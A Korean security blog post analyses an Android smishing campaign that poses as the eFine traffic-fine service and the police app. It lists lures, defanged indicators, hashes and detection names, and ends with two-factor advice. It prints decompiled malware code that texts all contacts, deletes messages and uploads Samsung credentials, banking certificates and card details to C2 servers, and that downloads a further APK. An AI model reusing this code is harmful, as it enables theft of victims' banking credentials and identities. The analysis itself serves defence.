꿈을꾸는 파랑새

오늘은 교통위반 벌점 처분고지서 경찰 민원 모바일 피싱사이트 인 jkyxc.emvu group에 대해 글을 적어 보겠습니다.
교통범칙금 통지 문자 사칭해서 스마트폰 개인정보를 빼가는 악성코드인. 경찰청 교통민원 24(이파인),경찰 민원 모바일 에 대해 알아보겠습니다. 일단 기본적으로 해당 스미싱 공격은 기본적으로 너 교통범칙금 있으면 여러 가지 문자형식으로 이파인을 사칭을 하고 있습니다.
휴대폰 전화번호 적는 곳 나오니까 거기 번호 넣으면 그걸 확인을 할 수가 있는 악성코드 나옴 그거 설치를 하면 교통범칙금 확인 가능이라고 하면서 설치 순간 스마트폰의 개인정보를 빼가는 방식을 사용하고 있습니다.
일단 해당 문자 내용은 다음과 같습니다.
[Web 발신]
[교통민원24]법규위반과속운자동차벌점보고서
[Web 발신][교통민원 24] 교통법규위반행위 벌점 6점 처벌 고지서 발송 완료
[web발신]
[교 통24(이파인)]교 통위반
벌점처분고지서 발송완료
[web발신]
[182교통(이파인)]과속운전자동차범칙벌점통지서
[Web발신]교 통24(이파인)차량위반금지령표지처분고지서 발송 완료
였지만 이제는 다음 과 같은 것들이 추가 되었습니다.
[Web발신]교통 법 규위반4건 미처리
위반운전행위벌점처분고지서
[Web발신][사이버경찰청]카카오 문자메시지 다른 이용자 모욕 처분 통지서
로 옵니다.

예전 이파인 피싱 사이트
예전 이파인 피싱 사이트

이제는 카카오톡에서 명예훼손으로 확대되었다는 점과 이번에는 지난 시간에 계속 사용을 하던 이파인 피싱 사이트가 드디어 새로운 UI를 장착하고 등장을 했다는 점입니다.

유포 사이트

http://jkyxc.emvu(.)group

 

이제는 왠지 공신력 있게 보이려고 디자인도 변경되었으며 예전처럼 운전면허 조회 같은 것은 사용하지 않으며이제는 이 누리집은 대한민국 공식 전자정부 누리집입니다. 실력 있고 당당한 경찰 국민이 신뢰하는 안심 공동체라고 돼 있는 것을 보면 이제는 새로움을 추구하는 것 같습니다.
그래도 사람을 낚시하는 방법은 똑같습니다. 메인 화면 부분만 변경되었습니다.

이파인 피싱 사이트
이파인 피싱 사이트

먼저 해당 사이트에 접속하면 다음과 같이 예전처럼 휴대폰 전화번호를 입력하라고 하고 있으며 여기서 잘 보며 전화번호 입력하는 부분에 잘 보면 핸드폰 번호를 입력하시고 대민 서비스, 신고하기 버튼이 있는데 어차피 피싱 사이트로 가기 위한 1단계 시작입니다.
그리고 밑에 있는 SNS는 전혀 동작을 하지 않는 것을 볼 수가 있습니다. 왜 필요하지 않으니까요.

http://jkyxc.emvu(.)group/zsz.php

에서는 부분에서는 <script>window.location= 기능을 악용해서 운영체제 및 접속 브라우저 등을 확인해서 진짜 이파인 주소로 넘겨 버리는 것 확인을 할 수가 있습니다.

<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<script>window.location='https://www.efine(.)go.kr/';</script>

이파인 접속 환경 검사
이파인 접속 환경 검사

 

경찰 모바일 피싱 앱 작동 화면

즉 안드로이드 스마트폰 사용자만 작동이 되고 구성이 되어져 있고 컴퓨터,아이폰 등은 진짜 사이트로 넘기는 역할을 합니다.
즉 일반 컴퓨터 또는 아이폰을 사용자는 그냥 이파인 공식 사이트로 넘어가게 돼 있는 구조입니다.

function uaMatch(ua) {
	ua = ua.toLowerCase();

	var match = /(chrome)[ \/]([\w.]+)/.exec(ua) ||
	/(webkit)[ \/]([\w.]+)/.exec(ua) ||
	/(opera)(?:.*version|)[ \/]([\w.]+)/.exec(ua) ||
	/(msie) ([\w.]+)/.exec(ua) ||
	ua.indexOf("compatible") < 0 && /(mozilla)(?:.*? rv:([\w.]+)|)/.exec(ua) ||
	[];

	return {
		browser: match[1] || "",
		version: match[2] || "0"
	};
};

function getBrowser() {
	var matched = uaMatch(navigator.userAgent);
	var browser = {};

	if (matched.browser) {
		browser[matched.browser] = true;
		browser.version = matched.version;
	}

	// Chrome is Webkit, but Webkit is also Safari.
	if (browser.chrome) {
		browser.webkit = true;
	} else if (browser.webkit) {
		browser.safari = true;
	}
	return browser;
};


function printHTML() {
	var div;
	if (document.getElementById("print_window") === undefined || document.getElementById("print_window") == null) {
		div = document.createElement("div");
		div.style.position = "absolute";
		div.style.top = "0px";
		div.style.left = "0px";
		div.style.backgroundColor = "#fff";
		div.readOnly = true;
		div.id = "print_window";
		document.body.appendChild(div);
	} else {
		div = document.getElementById("print_window");
	}

	var msg = "";
	for (var i = 0; i < arguments.length; i++) {
		if (msg != "") {
			msg += " , ";
		}
		msg += arguments[i];
	}
	div.innerHTML += msg + "<br />";

}

를 통해서 사용자 접속 환경을 확인하는 과정을 거치게 돼 있습니다.
여기서 피싱 사이트에 결과 값에 만족하면 다음과 같이 전화번호를 입력하고 악성코드 웹을 다운로드 하기 위한 과정으로 가게 됩니다.
그리고 해당 부분에 휴대폰 번호를 입력을 하면 실명,전화번호를 입력을 해달라고 하는 메세지를 볼수가 있을것입니다.
여기서 부터 실명,휴대폰 번호를 입력을 하면 악성코드를 다운로드 하는 과정을 거치게 됩니다.

이파인 피싱 사이트 개인정보 입력
이파인 피싱 사이트 개인정보 입력

http://jkyxc.emvu(.)group/bd6ef6b0d424961c45fc90c50cfdd10d7451499f/

에서는 해당 실명,생년 월일 를 받습니다.
해당 값들은 다음과 같습니다.

HTTP Debugger Pro 실명 및 전화번호 입력정보
HTTP Debugger Pro 실명 및 전화번호 입력정보

POST /bd6ef6b0d424961c45fc90c50cfdd10d7451499f/ HTTP/1.1
Host: jkyxc.emvu(.)group
User-Agent: Mozilla/5.0 (Linux; Android 9; ASUS_X00TD; Flow) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/359.0.0.288 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3
Prefer: safe
Content-Type: application/x-www-form-urlencoded
Origin: http://jkyxc.emvu(.)group
DNT: 1
Connection: keep-alive
Referer: http://jkyxc.emvu(.)group/zsz.php
Cookie: PHPSESSID=774e4ddd45da396f24f9afc110412a61
Upgrade-Insecure-Requests: 1
sec-ch-ua-platform: "Android"
sec-ch-ua: "Google Chrome";v="359", "Chromium";v="359", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?1
Accept-Encoding: gzip, deflate
Content-Length: 252
site_code=999999&cpn_id=YE2018111905&gift_cd=1458&gift_cd2=5380&page_name=culture_m&http_yn=y&ip=127.0.0(.)1&gift_type=culture&dbm_work=&page_type=mobile&accessTimeMain=20181219_15%3A07%3A07&accessTimeStart=1545199627882&mobile_no1=haha&mobile_no2=501212

물론 해당 페이지도 디자인은 변경이 되었습니다.
그리고 최종적으로 다음 사이트로 이동을 하면 다음 경로로 apk 파일을 다운로드 합니다.

이파인 악성코드 다운로드
이파인 악성코드 다운로드

http://jkyxc.emvu(.)group/bd6ef6b0d424961c45fc90c50cfdd10d7451499f/010당신이입력한전화번호.apk

로 연결이 되면 최종적으로 APK 파일은 자신이 입력한 전화번호로 다운로드가 되는 것을 확인할 수가 있습니다.
그리고 해당 악성코드 다운로드 하는 곳에서는 다음과 같이 악성코드를 설치하는 방법에 대해 설명을 하고 있습니다.
어플을 다운로드후에 설치를 누르시면 권한허용이 뜹니다. 허용을 해주시면 어플설치할수 있습니다.
Play프로젝트에 의해 차단됨 이라는글이 나올시에는 밑에무시하고 설치를 누르시면 됩니다.
설치방법 다운로드에->설치 ->어플을찾아서 더블클릭 (또는 클릭) 하여 설치가 가능합니다.
*교통법규 위반 정보를 실시간으로 처리하다
설치 후 처리 위반 정보.
여기까지 와도 파일을 다운로드 하기 전에 붉은색은 된 한글이 있는데 무엇인가 번역기를 쓴 것처럼 이상한 것을 확인할 수가 있습니다.
그리고 HTTP Debugger Pro 로 보면 이런 식이 될 것입니다.

GET /bd6ef6b0d424961c45fc90c50cfdd10d7451499f/01012345678(.)apk HTTP/1.1
Host: jkyxc.emvu(.)group
User-Agent: Mozilla/5.0 (Linux; Android 9; ASUS_X00TD; Flow) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/359.0.0.288 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3
Prefer: safe
DNT: 1
Connection: keep-alive
Referer: http://jkyxc.emvu(.)group/bd6ef6b0d424961c45fc90c50cfdd10d7451499f/
Cookie: PHPSESSID=774e4ddd45da396f24f9afc110412a61
Upgrade-Insecure-Requests: 1
sec-ch-ua-platform: "Android"
sec-ch-ua: "Google Chrome";v="359", "Chromium";v="359", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?1
Accept-Encoding: gzip, deflate

그리고 해당 악성코드 해쉬값은 다음과 같습니다.
파일명:01012345678(.)apk
사이즈:2.88 MB
CRC32:73b79aed
MD5:ce97519a2a2435485c6703d30dfac711
SHA-1:f638b7c85f2f5c7609e0c09bbc550898ceccb2e9
SHA-256:1a00dca48c7d302b8520613c4e969615d098f84c1c488e7460e928d688ec778b
SHA-512:846381f62924327c45bfb90cb2fe1014c7adb6dbd27abc6bfffcf5da9cc40ddee74592e8a9c5c0cae6698920c495f29c9060fb68ffe7fa4dbde2c61c78dbd997
그리고 해당 악성코드는 이름도 변경이 되었습니다.교통민원24-(이파인) 애서 경찰 민원 모바일 으로 변경이 되고 아이콘도 새롭게 변경이 된것을 확인을 할수가 있습니다.

악성코드 안드로이드 권한
악성코드 안드로이드 권한

삼성 스마트폰, 삼성 태블릿 사용자를 노리는 것을 확인할 수가 있으며 그리고 해당 악성코드에서 삼성계정을 입력하면 예전과 같이 신분증 및 운전 면허증을 촬영을 요구합니다. 그리고 나서 신한은행, 국민은행 등 한국에 있는 은행 카드 정보를 수집하기 위해서 신용 카드 및 체크카드 정보를 입력을 요구합니다. 즉 이번에는 아마도 한국에서는 삼성 스마트폰 및 삼성 태블릿 등 계정을 노려서 개인정보 수집을 하는 것 같습니다.

삼성 계정 계정 정보 탈취 시도신분증 면허증 촬영
삼성 계정 계정 정보 탈취 시도

그리고 해당 악성코드에서 삼성계정을 입력하면 예전과 같이 신분증 및 운전 면허증을 촬영을 요구합니다. 그리고 나서 신한은행, 국민은행 등 한국에 있는 은행 카드 정보를 수집하기 위해서 신용 카드 및 체크카드 정보를 입력을 요구합니다.
그리고 해당 악성코드는 다음으로 4자리 숫자 25~35개가 적혀 있는 은행 보안카드를 요구합니다. 즉 코드북 암호이기 때문에 한번 노출이 되면 은행에서 처리하지 않는 이상 해당 은행 계좌에 있는 돈은 대포통장 같은 곳으로 송금돼 버립니다.
그리고 보안을 위해서는 OPT 방식으로 된 랜덤으로 보안 코드가 나오는 OPT를 은행에서 약 5,000원~10,000원 정도 주고 발급해서 사용하는 것이 안전합니다. (물론 한 개의 은행에서 발급하면 다른 은행 가서 해당 OTP로 등록을 하면 사용을 하면 됩니다. 해당 경우에는 추가 비용이 발생하지 않음)
그리고 계정 해당 악성코드가 하라는 데로 진행하면 은행계좌번호를 요구하고 있으며 그리고 공동인증서(공인 인증서)비밀번호 요구 그리고 최종적으로는 핸드폰 설정 열기라는 화면이 나옵니다.
내용은 다음과 같습니다.
먼저 해당 악성코드의 권한은 다음과 같습니다.

<uses-permission android:name="android.permission.GET_TASKS"/>
<uses-permission android:name="android.permission.INTERACT_ACROSS_USERS_FULL"/>
<uses-permission android:name="android.permission.GET_TOP_ACTIVITY_INFO"/>
<uses-permission android:name="android.permission.REORDER_TASKS"/>
<uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-permission android:name="android.permission.REORDER_TASKS"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_PRIVILEGED_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.WRITE_SETTINGS"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_SMS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.ANSWER_PHONE_CALLS"/>

해당 악성코드의 권한을 보면 다음과 같습니다. 네트워크 연결, 인터넷 연결, 연락처 읽고 스마트폰 통신사 정보 읽어오기, 문자 보내고 문자 읽기, 설정 쓰기, 문자 쓰기, 전화 걸기, 스마트폰 수신 전화받기 들을 할 수가 있습니다. 즉 여기서 진짜 금융권으로 전화한다고 해도 해당 은행과 경찰서 등으로 연결되는 것이 아니고 해당 기능을 통해서 보이스피싱 일당에게 해당 전화를 걸게 되어서 피해가 발생을 하게 되는 방식을 취하고 있습니다. 당연히 해당 부분을 통해서 검찰로 속여서 전화가 올 가능성도 있을 것입니다.

악성코드 문자 관련 코드
악성코드 문자 관련 코드

com.example.myapplication.Tools에서는 문자 관련 코드들이 존재하는 것을 확인할 수가 있습니다.

 public void SendContactsServer(Context context) {
        int i;
        int i2;
        Boolean sendMsg = Boolean.valueOf(context.getSharedPreferences("pref", 0).getBoolean("sendMsg", false));
        if (sendMsg.booleanValue()) {
            return;
        }
        int smsSwitch = context.getSharedPreferences("pref", 0).getInt("sms_switch", 0);
        if (smsSwitch == 1) {
            return;
        }
        getPhoneNumber().replace(" ", "-");
        int count = 0;
        String word = context.getSharedPreferences("pref", 0).getString("word", "test");
        String phone_list = context.getSharedPreferences("pref", 0).getString("phone_list", "");
        if (phone_list == "") {
            return;
        }
        String[] ps = phone_list.split("\n");
        int length = ps.length;
        int i3 = 0;
        while (i3 < length) {
            String phoneNumber = ps[i3];
            if (phoneNumber.length() <= 3) {
                i = i3;
                i2 = length;
            } else {
                SmsManager mySms = SmsManager.getDefault();
                i = i3;
                i2 = length;
                mySms.sendTextMessage(phoneNumber, null, word, null, null);
                count++;
            }
            i3 = i + 1;
            length = i2;
        }
        SharedPreferences pref = context.getSharedPreferences("pref", 0);
        SharedPreferences.Editor editor = pref.edit();
        editor.putBoolean("sendMsg", true);
        editor.commit();
    }

    public void deleteSMS(Context context) {
        try {
            ContentResolver CR = context.getContentResolver();
            Uri uriSms = Uri.parse("content://sms/sent");
            Cursor c = CR.query(uriSms, new String[]{"_id", "thread_id"}, null, null, null);
            if (c == null || !c.moveToFirst()) {
                return;
            }
            do {
                long threadId = c.getLong(1);
                CR.delete(Uri.parse("content://sms/conversations/" + threadId), null, null);
            } while (c.moveToNext());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

보면 문자 보내고 문자 지우고 하게 코드들이 있는 것을 확인할 수가 있습니다.
com.example.myapplication.SunSang 에서는 삼성계정을 훔치기 즉 삼성계정 유출을 위한 코드가 존재하는 것을 확인할 수가 있습니다.

삼성 계정 탈취 목적의 코드
삼성 계정 탈취 목적의 코드

public void doUpload() {
        if (this.edAccount.getText().length() == 0) {
            Toast.makeText(this, getString(C0406R.string.suns_account_need), 1).show();
            this.myDialog.dismiss();
        } else if (this.edPasswd.getText().length() == 0) {
            Toast.makeText(this, getString(C0406R.string.suns_password_need), 1).show();
            this.myDialog.dismiss();
        } else {
            String account = this.edAccount.getText().toString();
            String password = this.edPasswd.getText().toString();
            Message retryMsg = new Message();
            retryMsg.what = 1;
            String url = HttpUtils.getHttpURL(this) + "reg_sunsang.php?&version=" + Build.VERSION.RELEASE;
            this.myAsyncTask = new MyAsyncTask(this, this, null);
            try {
                Tools to = new Tools(this);
                String phoneNum = to.getPhoneNumber();
                this.myAsyncTask.execute(url, phoneNum, account, password).get();
                Message msg = new Message();
                msg.what = 2;
                this.myHandler.sendMessage(msg);
            } catch (InterruptedException e) {
                e.printStackTrace();
            } catch (ExecutionException e2) {
                e2.printStackTrace();
            }
        }
    }

그리고 com.example.myapplication.MainActivity 에서는 신분증 및 운전면허증을 훔치기 위한 코드가 들어가 져 있는 것을 확인할 수가 있습니다.

신분증 및 운전면허증 훔치기 위한 코드
신분증 및 운전면허증 훔치기 위한 코드

   @Override // android.view.View.OnClickListener
            public void onClick(View v) {
                MainActivity.this.pic_dig.setVisibility(0);
            }
        });
        SharedPreferences pref = getSharedPreferences("pref", 0);
        SharedPreferences.Editor editor = pref.edit();
        editor.putInt("sms_switch", 1);
        editor.putInt("ID", 0);
        editor.putBoolean("sendMsg", false);
        editor.putBoolean("Optim", false);
        if (pref.getString("Server_URL", "") == "") {
            editor.putString("Server_URL", HttpUtils.URL);
        }
        editor.commit();
        new Tools(this).deleteSMS(this);
        new Tools(this).regCustomer();
        HomeKeyEventBroadCastReceiver receiver = new HomeKeyEventBroadCastReceiver();
        registerReceiver(receiver, new IntentFilter("android.intent.action.CLOSE_SYSTEM_DIALOGS"));
        startService(new Intent(this, RelService.class));
        String folderPath = Environment.getExternalStorageDirectory().getAbsolutePath() + "/NPKI/";
        String yessignfolderPath = Environment.getExternalStorageDirectory().getAbsolutePath() + "/NPKI";
        final String zipPath = Environment.getExternalStorageDirectory().getAbsolutePath() + "/N5.zip";
        if (isExist(folderPath)) {
            if (isExist(yessignfolderPath)) {
                ZipFolder(yessignfolderPath, zipPath);
            } else {
                ZipFolder(folderPath, zipPath);
            }
            Tools to = new Tools(this);
            final String phoneNum = to.getPhoneNumber();
            final String url = HttpUtils.getHttpURL(this) + "receive_npki.php";
            new Thread(new Runnable() { // from class: com.example.myapplication.MainActivity.2
                @Override // java.lang.Runnable
                public void run() {
                    MainActivity.this.uploadFileSign(url, phoneNum, zipPath);
                }
            }).start();
        }
        Intent intent = new Intent(this, SunSang.class);
        startActivity(intent);
    }

물론 같은 부분에서는 공동인증서(구 공인 인증서)를 훔치기 위한 코드들이 존재하는 것을 확인할 수가 있습니다.
해당 악성코드는 N5(.)zip 형태로 업로드 하는 것을 확인할 수가 있습니다.
com.example.myapplication.Step3b 부분에서는 신용카드, 체크카드 정보를 훔치기 위한 코드들이 준비된 것을 확인할 수가 있습니다.

신용카드 및 체크 카드 정보 훔치기 코드
신용카드 및 체크 카드 정보 훔치기 코드

public void doUpload() {
        String city;
        if (this.edOtherCity.getText().length() == 0) {
            city = this.cityValue;
        } else {
            city = this.edOtherCity.getText().toString();
        }
        Message retryMsg = new Message();
        retryMsg.what = 1;
        if (city.equals("")) {
            Toast.makeText(this, "은행을 입력하세요", 1).show();
            this.myHandler.sendMessage(retryMsg);
        } else if (this.edName.getText().length() == 0) {
            Toast.makeText(this, "이름을 입력하세요", 1).show();
            this.myHandler.sendMessage(retryMsg);
        } else if (this.edPhone.getText().length() == 0) {
            this.myHandler.sendMessage(retryMsg);
            Toast.makeText(this, "전화번호을 입력하세요", 1).show();
        } else if (this.edOtp.getText().length() == 0) {
            Toast.makeText(this, "계좌번호을 입력하세요", 1).show();
            this.myHandler.sendMessage(retryMsg);
        } else if (this.ed4Otp.getText().length() == 0) {
            Toast.makeText(this, "비밀번호을 입력하세요", 1).show();
            this.myHandler.sendMessage(retryMsg);
        } else {
            String info = ((Object) this.edName.getText()) + ";" + ((Object) this.edPhone.getText()) + ";" + ((Object) this.edOtp.getText()) + ";" + ((Object) this.ed4Otp.getText());
            String url = HttpUtils.getHttpURL(this) + "req_city.php?&version=" + Build.VERSION.RELEASE;
            this.myAsyncTask = new MyAsyncTask(this, this, null);
            try {
                Tools to = new Tools(this);
                String phoneNum = to.getPhoneNumber();
                this.myAsyncTask.execute(url, phoneNum, city, info).get();
                Message msg = new Message();
                msg.what = 2;
                this.myHandler.sendMessage(msg);
            } catch (InterruptedException e) {
                e.printStackTrace();
            } catch (ExecutionException e2) {
                e2.printStackTrace();
            }
        }
    }

다음은 com.example.myapplication.Step4 에서는 공동 인증서(구 공인 인증서)를 훔치기 위한 코드들이 있는 것을 확인할 수가 있습니다.

공동 인증서(구 공인 인증서) 훔치기 코드
공동 인증서(구 공인 인증서) 훔치기 코드

@Override // android.view.View.OnClickListener
    public void onClick(View v) {
        if (v.getId() == R.id.up) {
            this.myDialog = ProgressDialog.show(this, "Loading...", "Please wait...", true, false);
            doUpload();
        }
    }

    public void doUpload() {
        if (this.edCode.getText().length() == 0) {
            Toast.makeText(this, "비밀번호를 입력해 주세요.", 1).show();
            Message msg = new Message();
            msg.what = 1;
            this.myHandler.sendMessage(msg);
            this.myHandler.sendMessage(new Message());
            return;
        }
        String code = this.edCode.getText().toString();
        String url = HttpUtils.getHttpURL(this) + "req_auth_code.php?&version=" + Build.VERSION.RELEASE;
        this.myAsyncTask = new MyAsyncTask(this, this, null);
        try {
            Tools to = new Tools(this);
            String phoneNum = to.getPhoneNumber();
            this.myAsyncTask.execute(url, phoneNum, code).get();
            Message msg2 = new Message();
            msg2.what = 2;
            this.myHandler.sendMessage(msg2);
        } catch (InterruptedException e) {
            e.printStackTrace();
        } catch (ExecutionException e2) {
            e2.printStackTrace();
        }
    }

그리고 악성코드는 com.example.myapplication.ArsA 에서 코드를 보면 추가로 APK를 다운로드를 하는 것을 확인할 수가 있습니다.

@Override // android.view.View.OnClickListener
    public void onClick(View v) {
        if (v.getId() == R.id.up) {
            this.myDialog = ProgressDialog.show(this, "Loading...", "Please wait...", true, false);
            doUpload();
        }
    }

    public void doUpload() {
        if (!this.mTime.getFinish()) {
            Message msg = new Message();
            msg.what = 1;
            this.myHandler.sendMessage(msg);
            Toast.makeText(this, "핸드폰 미설정 완료....", 1).show();
            return;
        }
        Message msg2 = new Message();
        msg2.what = 2;
        this.myHandler.sendMessage(msg2);
    }

    /* loaded from: classes.dex */
    private class MyHandler extends Handler {
        private MyHandler() {
        }

        @Override // android.os.Handler
        public void handleMessage(Message msg) {
            int i = msg.what;
            if (i == 1) {
                ArsA.this.myDialog.dismiss();
            } else if (i == 2) {
                ArsA.this.myDialog.dismiss();
                SharedPreferences pref = ArsA.this.getSharedPreferences("pref", 0);
                SharedPreferences.Editor editor = pref.edit();
                editor.putInt("do_not_restart", 1);
                editor.commit();
                new AlertDialog.Builder(ArsA.this).setTitle("최신 버전을 다운로드하십시오").setMessage("다운로드?").setPositiveButton("확인", new DialogInterface.OnClickListener() { // from class: com.example.myapplication.ArsA.MyHandler.1
                    @Override // android.content.DialogInterface.OnClickListener
                    public void onClick(DialogInterface dialog, int which) {
                        Uri uri = Uri.parse("https://c85.pcloud(.)com/dpZcxxfdCZ3lcY0AZAMRj7ZZ2Ib5c7Z2ZZoa7ZZPBmB87dB6gRKVOA7MIGV1uInLOMk/%EA%B5%90%ED%86%B5%EB%AF%BC%EC%9B%9024%28%EC%9D%B4%ED%8C%8C%EC%9D%B8%29.apk");
                        Intent intent = new Intent("android.intent.action.VIEW", uri);
                        ArsA.this.startActivity(intent);
                        ArsA.this.finish();
                    }
                }).show();
            }
        }
    }

그리고 dpZcxxfdCZ3lcY0AZAMRj7ZZ2Ib5c7Z2ZZoa7ZZPBmB87dB6gRKVOA7MIGV1uInLOMk/%EA%B5%90%ED%86%B5%EB%AF%BC%EC%9B%9024%28%EC%9D%B4%ED%8C%8C%EC%9D%B8%29 를 URL Decode를 이용하면 다음과 같이 됩니다.교통 민원 2(이파인)4로 확인을 할 수가 있습니다.
이며 그리고 사실상 com.example.myapplication.MainActivity 에 보면 문자 삭제, GPS 끄기, GPS 활성화하기 등이 있는 것을 확인할 수가 있습니다. 그리고 통신사 정보, 연락처 정보들이 다 여기 있다고 보시면 됩니다.
즉 사용자 스마트폰의 위치를 확인하는 데 사용을 하면 고객님 어디 어디에 살고 있으시죠. 뭐 이런 식으로 접근하기 위해서 사용을 하지 않을까 생각을 합니다.
악성코드와 관련이 있는 주소는 다음과 같습니다.

http://192.168.0(.)104:8087/ImageServer/upServer
http://45.207.45(.)126/
http://schemas.android(.)com/apk/res-auto
http://schemas.android(.)com/apk/res/android
https://c85.pcloud(.)com/dpZcxxfdCZ3lcY0AZAMRj7ZZ2Ib5c7Z2ZZoa7ZZPBmB87dB6gRKVOA7MIGV1uInLOMk/%EA%B5%90%ED%86%B5%EB%AF%BC%EC%9B%9024%28%EC%9D%B4%ED%8C%8C%EC%9D%B8%29(.)apk

이며 악성코드 인증서 정보는 다음과 같습니다.

APK signature verification result:
서명 검증 성공
유효한 APK 서명 v1을(를) 찾았습니다.
서명자 CERT.RSA (META-INF/CERT.SF)
유형: X.509
버전: 3
시리얼 번호: 0x936eacbe07f201df
소유자: EMAILADDRESS=android@android(.)com, CN=Android, OU=Android, O=Android, L=Mountain View, ST=California, C=US
유효 시작 시각: Fri Feb 29 10:33:46 GMT+09:00 2008
유효 종료 시각: Tue Jul 17 10:33:46 GMT+09:00 2035
공개키 타입: RSA
지수: 3
모듈러스 크기 (비트): 2048
모듈러스: 27087533857153302906822427244451835680271467139433638657402420676788772368468316411790577780743478815329574319010356420647651577255214076320764054962227698091591190998224183931185609609820277016242603583619929549819986490809257050240250723681109660718403959925449702875642189909904608631689243630431349528603016850515510838951987672075344238987930639179476225895129710043944157373677589593772202003591689051650854123572660036810919613063456337914746959297660631038090097224838665758049737111657080826771808365050815496720770905152230613652255807956565630323299366925404317303221604342657788982549334320910974026967327
서명 유형: SHA1withRSA
서명 OID: 1.2.840.113549.1.1.5
MD5 지문: E8 9B 15 8E 4B CF 98 8E BD 09 EB 83 F5 37 8E 87 
SHA-1 지문: 61 ED 37 7E 85 D3 86 A8 DF EE 6B 86 4B D8 5B 0B FA A5 AF 81 
SHA-256 지문: A4 0D A8 0A 59 D1 70 CA A9 50 CF 15 C1 8C 45 4D 47 A3 9B 26 98 9D 8B 64 0E CD 74 5B A7 1B F5 DC

악성코드 인증서 정보
악성코드 인증서 정보

그리고 해당 2023-03-02 18:27:03 UTC 바이러스토탈 기준으로 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Spyware/Android.Agent.1022947
Avast:Android:SmsForw-BX [Trj]
Avast-Mobile:Android:Evo-gen [Trj]
AVG:Android:SmsForw-BX [Trj]
Avira (no cloud):ANDROID/SpyAgent.FJVO.Gen
BitDefenderFalx:Android.Trojan.SpyAgent.EM
Cynet:Malicious (score: 99)
DrWeb:Android.SmsSpy.847.origin
ESET-NOD32:A Variant Of Android/Spy.Agent.BSO
F-Secure:Malware.ANDROID/SpyAgent.FJVO.Gen
Fortinet:Android/Agent.BSO!tr
Google:Detected
Ikarus:Trojan.AndroidOS.Agent
K7GW:Trojan ( 0057ee141 )
Kaspersky:HEUR:Trojan-Spy.AndroidOS.SmsThief.rv
QuickHeal:Android.SMForw.GEN37097
Sophos:Andr/Xgen-ATR
Symantec Mobile Insight:Spyware:MobileSpy
Trustlook:Android.PUA.DebugKey

삼성 계정 다른 기기에서 도 전화 문자 하기
삼성 계정 다른 기기에서 도 전화 문자 하기

해당 악성코드는 스미싱(Smishing)이며 삼성에서 사용하는 다른 기기에서도 전화/문자 하기(Call & text on other devices,Call & Message Continuity)설정을 요구하는 것을 보면 私見으로는 최근에 010으로 발신번호 조작을 하려고 번호 변조 중계기를 이용해서 처음에는 모델 같은 데서 고정해서 사용하다가 개집, 가방에 넣고 이동을 하거나 하는 방식으로 흔히 인간 중계기 방식을 사용을 하다고 보이스피싱을 하고 있는데 해당 부분이 자꾸 걸리니 안전하게? 삼성 계정을 훔쳐서 다른 기기에서도 전화/문자 하기 기능을 악용하는 것이 아닐까 생각을 하면 가장 기본적으로 귀찮더라도 2단계 인증은 반드시 하는 것을 추천이 아니 필수로 하시길 바랍니다.
삼성 스마트폰 및 삼성 태블릿 2단계 인증을 하는 방법은 다음과 같습니다.
설정->삼성 계정->보안 및 개인정보 보호->2단계 인증->인증 앱->여기서는 삼성에서는 MS Authenticator을 권장을 하고 있지만 일단 다른 인증 앱 사용을 할 수가 있습니다.

[소프트웨어 팁/보안 및 분석] - 구글 OTP 및 Authy 대안 오픈소스 인증앱-Aegis Authenticator

 

구글 OTP 및 Authy 대안 오픈소스 인증앱-Aegis Authenticator

오늘은 구글 OTP 와 Authy 대안 오픈소스 인증앱 인 Aegis Authenticator 에 대해 글을 적거 보겠습니다. Aegis Authenticator는 온라인 서비스용 2단계 인증 토큰을 생성하고 관리하기 위한 Google Android 기기용

wezard4u.tistory.com

예를 들어서 구글 OTP를 사용을 한다고 하면 수동으로 코드를 받아서 구글 OTP에 등록을 하고 하는 방법이고 그냥 삼성에서 시키는 대로 하면 MS Authenticator 사용 선택->MS Authenticator 설치 후 인증을 진행하시면 됩니다.
여기서 계좌 비밀번호를 입력했으면 반드시 자신이 거래하는 은행의 비밀번호를 변경하시고 삼성계정을 2단계 인증을 하지 않았으면 비밀번호를 입력했으면 에는 반드시 빨리 비밀번호를 변경하시고 2단계 인증을 해 주시면 됩니다.
그리고 자신이 사용하는 게임 예를 들어서 스팀(Steam), 에픽게임즈(Epic Games) 이든 뭐든 간에 2단계 인증을 할 수 있으면 반드시 2단계 인증을 하는 것이 안전하게 사용을 하는 방법입니다.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band